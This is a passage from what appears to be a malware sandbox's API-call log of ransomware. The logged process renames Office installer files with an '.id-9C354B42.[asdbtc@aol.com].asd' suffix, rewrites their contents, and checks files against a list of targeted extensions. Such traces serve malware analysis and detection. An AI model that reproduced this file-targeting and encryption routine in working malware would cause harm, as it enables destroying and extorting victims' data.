[0056.647] WriteFile (in: hFile=0x218, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.648] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0056.648] WriteFile (in: hFile=0x218, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.650] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0056.650] CloseHandle (hObject=0x218) returned 1 [0056.650] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0056.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.650] lstrlenW (lpString=".doc") returned 4 [0056.650] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.650] lstrlenW (lpString=".docx") returned 5 [0056.650] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0056.651] lstrlenW (lpString=".pdf") returned 4 [0056.651] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0056.651] lstrlenW (lpString=".xls") returned 4 [0056.651] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0056.651] lstrlenW (lpString=".xlsx") returned 5 [0056.651] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0056.651] lstrlenW (lpString=".ppt") returned 4 [0056.651] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0056.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.651] lstrlenW (lpString=".zip") returned 4 [0056.651] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0056.651] lstrlenW (lpString=".rar") returned 4 [0056.651] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0056.651] lstrlenW (lpString=".bz2") returned 4 [0056.651] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0056.651] lstrlenW (lpString=".7z") returned 3 [0056.651] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0056.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.651] lstrlenW (lpString=".dbf") returned 4 [0056.651] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0056.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.651] lstrlenW (lpString=".1cd") returned 4 [0056.651] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0056.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.651] lstrlenW (lpString=".jpg") returned 4 [0056.651] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.651] lstrlenW (lpString=".doc") returned 4 [0056.651] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.652] lstrlenW (lpString=".docx") returned 5 [0056.652] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0057.028] lstrlenW (lpString=".pdf") returned 4 [0057.028] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0057.028] lstrlenW (lpString=".xls") returned 4 [0057.028] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0057.028] lstrlenW (lpString=".xlsx") returned 5 [0057.028] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0057.028] lstrlenW (lpString=".ppt") returned 4 [0057.028] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0057.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0057.028] lstrlenW (lpString=".zip") returned 4 [0057.028] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0057.028] lstrlenW (lpString=".rar") returned 4 [0057.028] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0057.028] lstrlenW (lpString=".bz2") returned 4 [0057.028] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0057.028] lstrlenW (lpString=".7z") returned 3 [0057.028] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0057.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0057.028] lstrlenW (lpString=".dbf") returned 4 [0057.028] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0057.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0057.029] lstrlenW (lpString=".1cd") returned 4 [0057.029] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0057.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0057.029] lstrlenW (lpString=".jpg") returned 4 [0057.029] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0057.029] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0057.029] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0057.029] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.748] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=222948913) returned 1 [0058.748] CloseHandle (hObject=0x220) returned 1 [0058.748] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0058.748] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.748] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0058.749] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.749] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0x0) returned 1 [0058.749] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.749] ReadFile (in: hFile=0x220, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.791] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.791] ReadFile (in: hFile=0x220, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.799] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.799] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.799] ReadFile (in: hFile=0x220, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.816] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.816] WriteFile (in: hFile=0x220, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0058.837] SetEndOfFile (hFile=0x220) returned 1 [0058.837] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0058.837] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.911] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.028] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.028] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.031] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.031] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.033] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0059.033] CloseHandle (hObject=0x220) returned 1 [0059.033] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0059.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.034] lstrlenW (lpString=".doc") returned 4 [0059.034] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0059.034] lstrlenW (lpString=".docx") returned 5 [0059.034] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0059.034] lstrlenW (lpString=".pdf") returned 4 [0059.034] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0059.034] lstrlenW (lpString=".xls") returned 4 [0059.034] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0059.034] lstrlenW (lpString=".xlsx") returned 5 [0059.034] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0059.034] lstrlenW (lpString=".ppt") returned 4 [0059.034] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0059.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.034] lstrlenW (lpString=".zip") returned 4 [0059.034] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0059.034] lstrlenW (lpString=".rar") returned 4 [0059.034] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0059.034] lstrlenW (lpString=".bz2") returned 4 [0059.034] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0059.034] lstrlenW (lpString=".7z") returned 3 [0059.034] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0059.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.034] lstrlenW (lpString=".dbf") returned 4 [0059.034] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0059.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.034] lstrlenW (lpString=".1cd") returned 4 [0059.034] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0059.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.034] lstrlenW (lpString=".jpg") returned 4 [0059.035] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0059.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.035] lstrlenW (lpString=".doc") returned 4 [0059.035] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0059.035] lstrlenW (lpString=".docx") returned 5 [0059.035] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0059.035] lstrlenW (lpString=".pdf") returned 4 [0059.035] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0059.035] lstrlenW (lpString=".xls") returned 4 [0059.035] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0059.035] lstrlenW (lpString=".xlsx") returned 5 [0059.035] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0059.035] lstrlenW (lpString=".ppt") returned 4 [0059.035] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0059.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.035] lstrlenW (lpString=".zip") returned 4 [0059.035] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0059.035] lstrlenW (lpString=".rar") returned 4 [0059.035] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0059.035] lstrlenW (lpString=".bz2") returned 4 [0059.035] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0059.035] lstrlenW (lpString=".7z") returned 3 [0059.035] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0059.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.035] lstrlenW (lpString=".dbf") returned 4 [0059.035] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0059.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.035] lstrlenW (lpString=".1cd") returned 4 [0059.035] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0059.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0059.035] lstrlenW (lpString=".jpg") returned 4 [0059.036] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0059.036] lstrcmpiW (lpString1=".dll", lpString2=".asd") returned 1 [0059.036] lstrlenW (lpString="osetup.dll") returned 10 [0059.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.036] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=7378792) returned 1 [0059.036] CloseHandle (hObject=0x220) returned 1 [0059.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0059.037] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.037] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0059.037] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.037] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0x0) returned 1 [0059.037] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0059.037] ReadFile (in: hFile=0x220, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.064] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0059.067] ReadFile (in: hFile=0x220, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.074] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0059.074] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0059.074] ReadFile (in: hFile=0x220, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.281] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.281] WriteFile (in: hFile=0x220, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x32bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0059.296] SetEndOfFile (hFile=0x220) returned 1 [0059.404] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0059.408] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.408] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.409] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.409] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.412] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0059.412] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.414] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0059.414] CloseHandle (hObject=0x220) returned 1 [0059.414] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0059.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.414] lstrlenW (lpString=".doc") returned 4 [0059.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.414] lstrlenW (lpString=".docx") returned 5 [0059.414] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0059.414] lstrlenW (lpString=".pdf") returned 4 [0059.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.415] lstrlenW (lpString=".xls") returned 4 [0059.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.415] lstrlenW (lpString=".xlsx") returned 5 [0059.415] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0059.415] lstrlenW (lpString=".ppt") returned 4 [0059.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.415] lstrlenW (lpString=".zip") returned 4 [0059.415] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.415] lstrlenW (lpString=".rar") returned 4 [0059.415] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.415] lstrlenW (lpString=".bz2") returned 4 [0059.415] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.415] lstrlenW (lpString=".7z") returned 3 [0059.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.415] lstrlenW (lpString=".dbf") returned 4 [0059.415] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.415] lstrlenW (lpString=".1cd") returned 4 [0059.415] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.415] lstrlenW (lpString=".jpg") returned 4 [0059.415] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.415] lstrlenW (lpString=".doc") returned 4 [0059.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.416] lstrlenW (lpString=".docx") returned 5 [0059.416] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0059.416] lstrlenW (lpString=".pdf") returned 4 [0059.416] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.416] lstrlenW (lpString=".xls") returned 4 [0059.416] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.416] lstrlenW (lpString=".xlsx") returned 5 [0059.416] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0059.416] lstrlenW (lpString=".ppt") returned 4 [0059.416] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.416] lstrlenW (lpString=".zip") returned 4 [0059.416] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.416] lstrlenW (lpString=".rar") returned 4 [0059.416] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.416] lstrlenW (lpString=".bz2") returned 4 [0059.416] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.416] lstrlenW (lpString=".7z") returned 3 [0059.416] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.416] lstrlenW (lpString="C:\\MSOCache\\All 